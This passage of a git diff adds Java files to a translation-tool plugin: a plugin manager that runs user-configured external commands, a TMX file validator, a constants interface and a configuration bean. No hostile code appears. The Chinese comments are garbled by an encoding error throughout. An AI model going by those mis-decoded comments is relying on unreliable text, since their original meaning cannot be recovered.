如果返回为交æ¢æ–‡ä»¶ï¼Œåˆ™æ›´æ–°å½“å‰æ–‡æœ¬æ®µ + if (bean.getInput().equals(PluginConstants.EXCHANGEFILE)) { + handler.updateAndSave(rowId, "", returnContent); + // 更新完åŽï¼Œè¦åˆ·æ–°ç•Œé¢ã€‚此处未åšï¼Œæ»žç•™ã€‚ + } + } + + // 当输出(进程)为当å‰æ–‡æ¡£æ—¶ + if (bean.getOutput().equals(PluginConstants.DOCUMENT)) { + XLFHandler handler; + IFile selectIFile = null; + // 先检查是å¦æœ‰å·²ç»æ‰“开的文件,若没有,退出æ’件执行 + XLIFFEditorImplWithNatTable nattable = XLIFFEditorImplWithNatTable.getCurrent(); + if (nattable == null) { + // 如果当å‰æ²¡æœ‰æ‰“开的文件,那么获å–左边导航框中选中的文件 + ISelection selection = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getSelectionService() + .getSelection(); + if (selection == null || selection.isEmpty() || !(selection instanceof StructuredSelection)) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg5")); + return; + } + + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator selectIt = structuredSelection.iterator(); + if (selectIt.hasNext()) { + Object object = selectIt.next(); + if (object instanceof IFile) { + selectIFile = (IFile) object; + String fileExtension = selectIFile.getFileExtension(); + if (!CommonFunction.validXlfExtension(fileExtension)) { + MessageDialog.openInformation(shell, + Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg5")); + return; + } + } + } + + handler = new XLFHandler(); + // 打开该xliff文件 + Map resultMap = handler.openFile(selectIFile.getLocation().toOSString()); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap + .get(Constant.RETURNVALUE_RESULT)) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg5")); + return; + } + } else { + handler = nattable.getXLFHandler(); + selectIFile = ResourceUtil.getFile(nattable.getEditorInput()); + // IEditorInput fileInput = nattable.getEditorInput(); + } + + sendDocument(bean, selectIFile); + if (bean.getInput().equals(PluginConstants.DOCUMENT)) { + // é‡æ–°è§£æžè¯¥æ–‡ä»¶ + Map resultMap = handler.openFile(selectIFile.getLocation().toOSString()); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap + .get(Constant.RETURNVALUE_RESULT)) { + MessageDialog.openError(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg6")); + return; + } + } + } + + // 当输出(进程)为空时 + if (bean.getOutput().equals(PluginConstants.NONE)) { + runPlugin(bean); + } + } catch (Exception e) { + LOGGER.error("", e); + MessageDialog.openError(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg7")); + } + } + + /** + * 将当å‰å€¼ä¼ é€åˆ°ç›®æ ‡æ–‡ä»¶æˆ–者æ’件(针对进程为segment的,因此一定è¦æœ‰äº¤æ¢æ–‡ä»¶) + * @param bean + * ; + */ + public void sendSegment(PluginConfigBean bean, XLFHandler handler, String selectedRowId) { + // 如果交æ¢æ–‡ä»¶å¹¶æ²¡æœ‰è®¾ç½® ï¼Œåˆ™é€€å‡ºç¨‹åº + String outputPath = bean.getOutputPath(); + if (outputPath == null || outputPath.equals("")) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg8")); + return; + } + // 备注:在å‘é€å†…容之å‰ï¼Œæ²¡æœ‰è¿›è¡Œå¯¹å½“å‰æ–‡æœ¬æ®µçš„ä¿å­˜ï¼Œè¿™æ˜¯ä¸€ä¸ªæ»žç•™é—®é¢˜ + + // 获å–选中的trans-unit节点的完整内容 + String transUnitStr = handler.getTUFragByRowId(selectedRowId); + FileOutputStream output; + try { + output = new FileOutputStream(outputPath); + output.write(transUnitStr.getBytes("UTF-8")); + output.close(); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + public void sendDocument(PluginConfigBean bean, IFile curXliff) { + String curXliffLocation = curXliff.getLocation().toOSString(); + File f = new File(curXliffLocation); + if (!f.exists()) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + MessageFormat.format(Messages.getString("plugin.PluginConfigManage.msg9"), curXliff.getFullPath() + .toOSString())); + return; + } + + String commandLine = bean.getCommandLine(); + + String[] cmdArray = { commandLine, curXliffLocation }; + try { + Process pluginProcess = Runtime.getRuntime().exec(cmdArray); + if (bean.getInput().equals(PluginConstants.EXCHANGEFILE)) { + pluginProcess.waitFor(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + /** + * å¼€å§‹æ‰§è¡Œç¨‹åº + * @param bean + * @return + * @throws Exception + * ; + */ + public String runPlugin(PluginConfigBean bean) throws Exception { + + String commandLine = bean.getCommandLine(); + if (commandLine == null || "".equals(commandLine)) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg1")); + return null; + } + String output = bean.getOutput(); + String input = bean.getInput(); + if (output.equals(PluginConstants.NONE)) { + Runtime.getRuntime().exec(commandLine); + return null; + } else if (output.equals(PluginConstants.SEGMENT)) { + String fileName = bean.getOutputPath(); + if (fileName == null || fileName.equals("")) { + MessageDialog.openInformation(shell, Messages.getString("plugin.PluginConfigManage.msgTitle"), + Messages.getString("plugin.PluginConfigManage.msg8")); + return null; + } + + String[] cmdArray = { commandLine, fileName }; + Process pluginProcess = Runtime.getRuntime().exec(cmdArray); + + if (input.equals(PluginConstants.EXCHANGEFILE)) { + pluginProcess.waitFor(); + InputStreamReader inReader = new InputStreamReader(new FileInputStream(fileName)); + BufferedReader b = new BufferedReader(inReader); + StringBuffer responseSB = new StringBuffer(); + String line; + while ((line = b.readLine()) != null) { + responseSB.append(line + "\n"); + } + inReader.close(); + b.close(); + return responseSB.toString(); + } + } + return ""; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConstants.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConstants.java new file mode 100644 index 0000000..f58e3d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/PluginConstants.java @@ -0,0 +1,111 @@ +package net.heartsome.cat.ts.ui.plugin; + +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +/** + * 常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public interface PluginConstants { + + /** 版æƒä¿¡æ¯ */ + String PLUGIN_COPY_RIGHT = Messages.getString("plugin.PluginConstants.right"); + + /** 网å€ä¿¡æ¯ */ + String PLUGIN_WEB_SITE = "http://www.heartsome.net"; + + /** XSL Transformation çš„ Logo 路径 */ + String LOGO_XSL_PATH = "icons/XSLConverter.png"; + + /** XSL Transformation èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_XSL_MENU_PATH = "icons/XSLMenu.png"; + + /** TBXMaker çš„ Logo 路径 */ + String LOGO_TBXMAKER_PATH = "icons/CSV2TBXConverter.png"; + + /** TBXMaker èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_TBXMAKER_MENU_PATH = "icons/CSV2TBXMenu.png"; + + /** TBXMaker 对è¯æ¡†ä¸­æ‰“å¼€ CSV 文件的工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_OPEN_CSV_PATH = "icons/open.png"; + + /** TBXMaker 对è¯æ¡†ä¸­ä¿å­˜ä¸º TBX 文件的工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_EXPORT_TBX_PATH = "icons/save.png"; + + /** TBXMaker 对è¯æ¡†ä¸­åˆ é™¤åˆ—的工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_DELETE_COLUMN_PATH = "icons/remove.png"; + + /** TBXMaker 对è¯æ¡†ä¸­é€‰æ‹©åˆ—属性的工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_SET_COLUMN_PATH = "icons/sellang.png"; + + /** TBXMaker 对è¯æ¡†ä¸­å¸®åŠ©å†…容的工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_HELP_PATH = "icons/help.png"; + + /** æ’件é…置相关信æ¯æ‰€å­˜æ”¾çš„文件相对工作空间的路径--robert */ + String PC_pluginConfigLocation = ".metadata/.preference/pluginConfig.xml"; + + /** CSV 2 TMX Converter çš„ Logo 路径 */ + String LOGO_CSV2TMX_PATH = "icons/CSV2TMXConverter.png"; + + /** CSV 2 TMX Converter èœå•é¡¹çš„ Logo 路径 */ + String LOGO_CSV2TMX_MENU_PATH = "icons/CSV2TMXMenu.png"; + + /** CSV 2 TMX Converter 的版本 */ + public static final String CSV2TMX_VERSION = "1.1.0"; + + /** æ’件é…置中,输入或输出的值(对应返回与进程):当å‰æ–‡æ¡£ --robert */ + String DOCUMENT = "document"; + /** æ’件é…置中,输入或输出的值(对应返回与进程):当å‰æ–‡æœ¬ --robert */ + String SEGMENT = "seg"; + /** æ’件é…置中,输入或输出的值(对应返回与进程):å·²ç»è½¬æ¢æ–‡ä»¶ --robert */ + String EXCHANGEFILE = "file"; + /** æ’件é…置中,输入或输出的值(对应返回与进程):空 --robert */ + String NONE = "none"; + + /** MARTIF 2 TBX Converter çš„ Logo 路径 */ + String LOGO_MARTIF2TBX_PATH = "icons/MARTIF2TBXConverter.png"; + + /** MARTIF 2 TBX Converter èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_MARTIF2TBX_MENU_PATH = "icons/MARTIF2TBXMenu.png"; + + /** java properties viewer çš„ Logo 路径 */ + String LOGO_PROERTIESVIEWER_PATH = "icons/JPropViewer.png"; + + /** java properties viewer èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_PROERTIESVIEWER_MENU_PATH = "icons/JPropViewerMenu.png"; + + /** RTFCleaner çš„ Logo 路径 */ + String LOGO_RTFCLEANER_PATH = "icons/RTFCleaner.png"; + + /** RTFCleaner èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_RTFCLEANER_MENU_PATH = "icons/RTFCleanerMenu.png"; + + /** tmx to txt converter çš„ Logo 路径 */ + String LOGO_TMX2TXTCONVERTER_PATH = "icons/TMX2TXTConverter.png"; + + /** tmx to txt converter èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_TMX2TXTCONVERTER_MENU_PATH = "icons/TMX2TXTConverterMenu.png"; + + /** TMX Validator çš„ Logo 路径 */ + String LOGO_TMXVALIDATOR_PATH = "icons/TMXValidator.png"; + + /** TMX Validator èœå•é¡¹æ˜¾ç¤ºçš„图片路径 */ + String LOGO_TMXVALIDATOR_MENU_PATH = "icons/TMXValidatorMenu.png"; + + /** TBXMaker 对è¯æ¡†ä¸­æ¸…ç†æ— æ•ˆå­—符 工具æ å›¾ç‰‡è·¯å¾„ */ + String PIC_clearChar_PATH = "icons/chars.png"; + + /** 以下为帮助中的图片路径 */ + String HELP_TOC_CLOSED = "icons/help/Normal/tocclosed.png"; + String HELP_TOC_OPEN = "icons/help/Normal/tocopen.png"; + String HELP_BOOK_CLOSED = "icons/help/Normal/bookclosed.png"; + String HELP_BOOK_OPEN = "icons/help/Normal/bookopen.png"; + String HELP_OPEN_FILE = "icons/help/Normal/open.png"; + String HELP_BACK = "icons/help/Normal/back.png"; + String HELP_FORWARD = "icons/help/Normal/forward.png"; + String HELP_FIND = "icons/help/Normal/find.png"; + String HELP_TOPIC = "icons/help/Normal/topic.png"; + String HELP_SPLASH = "icons/help/Splash/about.png"; +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TMXValidator.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TMXValidator.java new file mode 100644 index 0000000..16449dd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TMXValidator.java @@ -0,0 +1,561 @@ +package net.heartsome.cat.ts.ui.plugin; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.Utils; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * TMXæ–‡ä»¶éªŒè¯ + * @author robert 2012-03-14 + * @version + * @since JDK1.6 + */ +public class TMXValidator { + + private static final Logger LOGGER = LoggerFactory.getLogger(TMXValidator.class); + + private Map vnMap = new HashMap(); + private Color red; + /** 当å‰å¤„ç†TMXæ–‡ä»¶çš„ç‰ˆæœ¬å· */ + private String version; + private Hashtable languages; + private Hashtable countries; + + private Hashtable tuids; + private int balance; + private Hashtable ids; + + public TMXValidator(String tmxLocation, Shell shell) { + red = Display.getDefault().getSystemColor(SWT.COLOR_RED); + } + + public void validate(String tmxLocation, StyledText styledText) { + + try { + if (!parseXML(tmxLocation)) { + String parseErrorTip = MessageFormat.format(Messages.getString("plugin.TMXValidator.msg1"), tmxLocation); + styledText.append(parseErrorTip); + StyleRange range = new StyleRange(0, parseErrorTip.length(), red, null); + styledText.setStyleRange(range); + return; + } + + styledText.append(Messages.getString("plugin.TMXValidator.msg2") + tmxLocation + "\n"); + if (!validTmxRoot(tmxLocation)) { + String validErrorTipe = Messages.getString("plugin.TMXValidator.msg3"); + StyleRange range = new StyleRange(styledText.getText().length(), validErrorTipe.length(), red, null); + styledText.append(validErrorTipe); + styledText.setStyleRange(range); + return; + } + + version = getAttribute(tmxLocation, "/tmx/@version", ""); + // 备注: --robert undone æ­¤å¤„æœ‰å…³äºŽæ–‡æ¡£ç±»åž‹çš„éªŒè¯ + + // 创建临时文件 + File tmpFile = createTmpFile(tmxLocation); + String tempLocation = tmpFile.getAbsolutePath(); + styledText.append(Messages.getString("plugin.TMXValidator.msg4")); + + if (!parseXML(tempLocation)) { + String parseErrorTip = MessageFormat.format(Messages.getString("plugin.TMXValidator.msg5"), tempLocation); + StyleRange range = new StyleRange(styledText.getText().length(), parseErrorTip.length(), red, null); + styledText.append(parseErrorTip); + styledText.setStyleRange(range); + return; + } + styledText.append(Messages.getString("plugin.TMXValidator.msg6")); + + //加载语言与国家 + languages = TextUtil.plugin_loadLanguages(); + countries = TextUtil.plugin_loadCoutries(); + + //判断æºè¯­è¨€ + String srcLanguage = getAttribute(tmxLocation, "/tmx/header/@srclang", null); + if (srcLanguage == null) { + throw new Exception(Messages.getString("plugin.TMXValidator.msg7")); + } + if (!"*all*".equals(srcLanguage) && !checkLang(srcLanguage)) { + throw new Exception(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg8"), srcLanguage)); + } + + styledText.append(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg9"), srcLanguage)); + if (!srcLanguage.equals("*all*")) { //$NON-NLS-1$ + validSrcLanguage(tmxLocation, srcLanguage); + } + + tuids = new Hashtable(); + recurse(tmxLocation); + + styledText.append("==================\n"); + styledText.append(Messages.getString("plugin.TMXValidator.msg10")); + styledText.append("==================\n"); + + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + String errorTip = e.getMessage(); + StyleRange range = new StyleRange(styledText.getText().length(), errorTip.length(), red, null); + styledText.append(errorTip); + styledText.setStyleRange(range); + } + } + + /** + * 解æžTMX文件 ; + */ + private boolean parseXML(String xmlLocation){ + VTDGen vg = new VTDGen(); + boolean result = vg.parseFile(xmlLocation, true); + if (result) { + VTDNav vtdNav = vg.getNav(); + vnMap.put(xmlLocation, vtdNav); + } + return result; + } + + /** + * 通过验è¯æŒ‡å®šæ–‡ä»¶çš„头元素是å¦æ˜¯TMX,æ¥éªŒè¯è¯¥æ–‡ä»¶æ˜¯ä¸æ˜¯ä¸€ä¸ªTMX文件 + * @return + * @throws Exception ; + */ + private boolean validTmxRoot(String tmxLocation) throws Exception{ + VTDNav vn = vnMap.get(tmxLocation); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, MessageFormat.format(Messages.getString("plugin.TMXValidator.msg11"), tmxLocation)); + ap.selectXPath("/tmx"); + + if (ap.evalXPath() != -1) { + return true; + } + return false; + } + + /** + * 获å–属性值 + * @param xpath + * @param defaultValue + * @return + * @throws Exception ; + */ + private String getAttribute(String tmxLocation, String xpath, String defaultValue) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, MessageFormat.format(Messages.getString("plugin.TMXValidator.msg11"), tmxLocation)); + ap.selectXPath(xpath); + + + int index; + if ((index = ap.evalXPath()) != -1) { + return vn.toString(index + 1); + } + vn.pop(); + return defaultValue; + } + + /** + * 获å–属性值 + * @param xpath + * @param defaultValue + * @return + * @throws Exception ; + */ + private String getAttribute(VTDNav vn, String attriName, String defaultValue) throws Exception { + vn.push(); + int index; + if ((index = vn.getAttrVal(attriName)) != -1) { + return vn.toString(index); + } + vn.pop(); + return defaultValue; + } + /** + * 创建一个用于编辑的临时TMX文件 + */ + public File createTmpFile(String tmxLocation) throws Exception { + File tmpFile = null; + File folder = null; + File curFolder = new File("."); + + if (Utils.OS_WINDOWS == Utils.getCurrentOS()) { + folder = new File(curFolder.getAbsoluteFile() + Utils.getFileSeparator() + "~$temp"); + if (!folder.exists()) { + folder.mkdirs(); + } + folder.deleteOnExit(); + String sets = "attrib +H \"" + folder.getAbsolutePath() + "\""; + // è¿è¡Œå‘½ä»¤ä¸² + Runtime.getRuntime().exec(sets); + } else { + folder = new File(curFolder.getAbsoluteFile() + Utils.getFileSeparator() + ".temp"); + if (!folder.exists()) { + folder.mkdirs(); + } + folder.deleteOnExit(); + } + + tmpFile = File.createTempFile("tmp", ".TMX", folder); + tmpFile.deleteOnExit(); + + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, MessageFormat.format(Messages.getString("plugin.TMXValidator.msg11"), tmxLocation)); + XMLModifier xm = new XMLModifier(vn); + save(xm, tmpFile); + return tmpFile; + } + + + + + /** + * 循环æ¯ä¸€ä¸ªtu节点,进一步判断æºè¯­è¨€ + * @param tmxLocation + */ + private void validSrcLanguage(String tmxLocation, String srcLanguage) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, MessageFormat.format(Messages.getString("plugin.TMXValidator.msg11"), tmxLocation)); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tuvAp = new AutoPilot(vn); + ap.selectXPath("/tmx/body/tu"); + + int index; + while (ap.evalXPath() != -1) { + boolean found = false; + vn.push(); + tuvAp.selectXPath("./tuv"); + while(tuvAp.evalXPath() != -1){ + String lang = ""; + if ((index = vn.getAttrVal("xml:lang")) != -1) { + lang = vn.toString(index); + } + if ("".equals(lang)) { + if (version.equals("1.1") || version.equals("1.2")) { + if ((index = vn.getAttrVal("lang")) != -1) { //$NON-NLS-1$ + lang = vn.toString(index); + } + } else { + throw new Exception(Messages.getString("plugin.TMXValidator.msg12")); + } + } + if (lang.equals("")) { + throw new Exception(Messages.getString("plugin.TMXValidator.msg12")); + } + + if (lang.equals(srcLanguage)) { + found = true; + } + } + if (!found) { + throw new Exception(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg13"), srcLanguage)); + } + vn.pop(); + } + } + + /** + * 验è¯æ‰€æœ‰èŠ‚点的属性与seg节点的内容 + * @param tmxLocation + * @throws Exception ; + */ + private void recurse(String tmxLocation) throws Exception { + VTDNav vn = vnMap.get(tmxLocation); + Assert.isNotNull(vn, MessageFormat.format(Messages.getString("plugin.TMXValidator.msg11"), tmxLocation)); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx//*"); + + VTDUtils vu = new VTDUtils(vn); + Map attributesMap; + + // 先验è¯æ‰€æœ‰çš„属性值 + while (ap.evalXPath() != -1) { + attributesMap = getAllAttributes(vn); + checkAttribute(attributesMap, vu); + } + + // å†éªŒè¯seg节点下的内容 + ap.resetXPath(); + ap.selectXPath("/tmx/body/tu/tuv/seg"); + while (ap.evalXPath() != -1) { + balance = 0; + ids = null; + ids = new Hashtable(); + String segFrag = vu.getElementFragment(); + + vn.push(); + AutoPilot segChildAP = new AutoPilot(vn); + segChildAP.selectXPath("./*"); + while (segChildAP.evalXPath() != -1) { + String nodeName = vu.getCurrentElementName(); + System.out.println("nodeName = " + nodeName); + if ("bpt".equals(nodeName)) { //$NON-NLS-1$ + balance += 1; + if (version.equals("1.4")) { //$NON-NLS-1$ + String s = getAttribute(vn, "i", ""); //$NON-NLS-1$ + if (!ids.containsKey(s)) { + ids.put(s, "1"); + } else { + if (ids.get(s).equals("-1")) { + ids.put(s, "0"); + } else { + throw new Exception(Messages.getString("plugin.TMXValidator.msg14") + "\n" + segFrag + "\n"); + } + } + } + } + + if ("ept".equals(nodeName)) { //$NON-NLS-1$ + balance -= 1; + if (version.equals("1.4")) { //$NON-NLS-1$ + String s = getAttribute(vn, "i", ""); //$NON-NLS-1$ + if (!ids.containsKey(s)) { + ids.put(s, "-1"); + } else { + if (ids.get(s).equals("1")) { + ids.put(s, "0"); + } else { + throw new Exception(Messages.getString("plugin.TMXValidator.msg15") + "\n" + segFrag + "\n"); + } + } + } + } + } + + vn.pop(); + + if (balance != 0) { + throw new Exception(Messages.getString("plugin.TMXValidator.msg16") + "\n" + vu.getElementFragment() + "\n"); + } + if (ids.size() > 0) { + @SuppressWarnings("rawtypes") + Enumeration en = ids.keys(); + while (en.hasMoreElements()) { + if (!ids.get(en.nextElement()).equals("0")) { //$NON-NLS-1$ + throw new Exception(Messages.getString("plugin.TMXValidator.msg17") + "\n" + vu.getElementFragment() + + "\n"); + } + } + } + } + } + + private void checkAttribute(Map attributesMap, VTDUtils vu) throws Exception{ + Iterator> it = attributesMap.entrySet().iterator(); + while(it.hasNext()){ + Entry entry = it.next(); + String name = entry.getKey(); + String value = entry.getValue(); + + if (name.equals("lang") || name.equals("adminlang") || name.equals("xml:lang")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + if (!checkLang(value)) { + throw new Exception(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg18"), value) + "\n" + vu.getElementFragment() + "\n"); + } + } + if ( name.equals("lastusagedate") || name.equals("changedate") || name.equals("creationdate")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + if (!checkDate(value)) { + throw new Exception(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg19"), value) + "\n" + vu.getElementFragment() + "\n"); + } + } + if (name.equals("tuid")) { //$NON-NLS-1$ + if (!tuids.containsKey(value)) { + tuids.put(value, ""); + } else { + throw new Exception(MessageFormat.format(Messages.getString("plugin.TMXValidator.msg20"), value) + "\n" + vu.getElementFragment() + "\n"); + } + } + } + } + + /** + * 获å–所有属性 + * @param vn + * @return + * @throws Exception ; + */ + private Map getAllAttributes(VTDNav vn) throws Exception { + vn.push(); + AutoPilot apAttributes = new AutoPilot(vn); + Map attributes = new HashMap(); + apAttributes.selectXPath("./@*"); + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + + } + vn.pop(); + return attributes; + } + + private boolean save(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + return true; + } catch (Exception e) { + LOGGER.error("", e); + } + return false; + } + + private boolean checkDate(String date) { + // YYYYMMDDThhmmssZ + if (date.length() != 16) { + return false; + } + if (date.charAt(8) != 'T') { + return false; + } + if (date.charAt(15) != 'Z') { + return false; + } + try { + int year = Integer.parseInt("" + date.charAt(0) + date.charAt(1) + date.charAt(2) + date.charAt(3)); //$NON-NLS-1$ + if (year < 0) { + return false; + } + int month = Integer.parseInt("" + date.charAt(4) + date.charAt(5)); //$NON-NLS-1$ + if (month < 1 || month > 12) { + return false; + } + int day = Integer.parseInt("" + date.charAt(6) + date.charAt(7)); //$NON-NLS-1$ + switch (month) { + case 1: + case 3: + case 5: + case 7: + case 8: + case 10: + case 12: + if (day < 1 || day > 31) { + return false; + } + break; + case 4: + case 6: + case 9: + case 11: + if (day < 1 || day > 30) { + return false; + } + break; + case 2: + // check for leap years + if (year % 4 == 0) { + if (year % 100 == 0) { + // not all centuries are leap years + if (year % 400 == 0) { + if (day < 1 || day > 29) { + return false; + } + } else { + // not leap year + if (day < 1 || day > 28) { + return false; + } + } + } + if (day < 1 || day > 29) { + return false; + } + } else if (day < 1 || day > 28) { + return false; + } + } + int hour = Integer.parseInt("" + date.charAt(9) + date.charAt(10)); //$NON-NLS-1$ + if (hour < 0 || hour > 23) { + return false; + } + int min = Integer.parseInt("" + date.charAt(11) + date.charAt(12)); //$NON-NLS-1$ + if (min < 0 || min > 59) { + return false; + } + int sec = Integer.parseInt("" + date.charAt(13) + date.charAt(14)); //$NON-NLS-1$ + if (sec < 0 || sec > 59) { + return false; + } + } catch (Exception e) { + return false; + } + return true; + } + + + private boolean checkLang(String lang) { + if (lang.startsWith("x-") || lang.startsWith("X-")) { //$NON-NLS-1$ //$NON-NLS-2$ + return true; + } + + // Accepted formats are: + // xx: ISO 639-1 + // xxx: ISO 639-2 + // xx-YY: ISO-639-1 + ISO3166-1 + // xxx-YY: ISO-639-2 + ISO3166-1 + + int len = lang.length(); + if (len != 2 && len != 3 && len != 5 && len != 6) { + return false; + } + if (!isAlpha(lang.charAt(0)) || !isAlpha(lang.charAt(1))) { + return false; + } + if (len == 5 && lang.charAt(2) != '-') { + return false; + } + if (len == 5 && (!isAlpha(lang.charAt(3)) || !isAlpha(lang.charAt(4)))) { + return false; + } + if (len == 6 && lang.charAt(3) != '-') { + return false; + } + if (len == 6 && (!isAlpha(lang.charAt(2)) || !isAlpha(lang.charAt(4)) || !isAlpha(lang.charAt(5)))) { + return false; + } + String[] parts = lang.split("-"); //$NON-NLS-1$ + if (!languages.containsKey(parts[0].toLowerCase())) { + return false; + } + if (parts.length == 2) { + if (!countries.containsKey(parts[1].toUpperCase())) { + return false; + } + } + return true; + } + + private boolean isAlpha(char c) { + return (c>='a' && c<='z') || (c>='A' && c<='Z'); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TableViewerLabelProvider.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TableViewerLabelProvider.java new file mode 100644 index 0000000..e485290 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/TableViewerLabelProvider.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.ts.ui.plugin; + +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.swt.graphics.Image; + +/** + * TableViewer的标签æ供者 + * @author robert 2012-03-10 + * @version + * @since JDK1.6 + */ +public class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/bean/PluginConfigBean.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/bean/PluginConfigBean.java new file mode 100644 index 0000000..a5aec7b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/bean/PluginConfigBean.java @@ -0,0 +1,108 @@ +package net.heartsome.cat.ts.ui.plugin.bean; + +/** + * æ’件é…置的bean + * @author robert 2012-03-03 + * @version + * @since JDK1.6 + */ +public class PluginConfigBean { + /** æ’件的ID */ + private String id; + /** æ’件的å称 */ + private String name; + /** æ’件的命令行 */ + private String commandLine; + /** 输出 */ + private String output; + /** 输入 */ + private String input; + /** å¿«æ·é”® */ + private String shortcutKey; + /** 交æ¢æ–‡ä»¶ */ + private String outputPath; + + public PluginConfigBean() { + } + + public PluginConfigBean(String id, String name, String commandLine, String input, String output, String outputPath, String shortcutKey){ + this.id = id; + this.name = name; + this.commandLine = commandLine; + this.output = output; + this.input = input; + this.shortcutKey = shortcutKey; + this.outputPath = outputPath; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getCommandLine() { + return commandLine; + } + + public void setCommandLine(String commandLine) { + this.commandLine = commandLine; + } + + public String getOutput() { + return output; + } + + public void setOutput(String output) { + this.output = output; + } + + public String getInput() { + return input; + } + + public void setInput(String input) { + this.input = input; + } + + public String getShortcutKey() { + return shortcutKey; + } + + public void setShortcutKey(String shortcutKey) { + this.shortcutKey = shortcutKey; + } + + public String getOutputPath() { + return 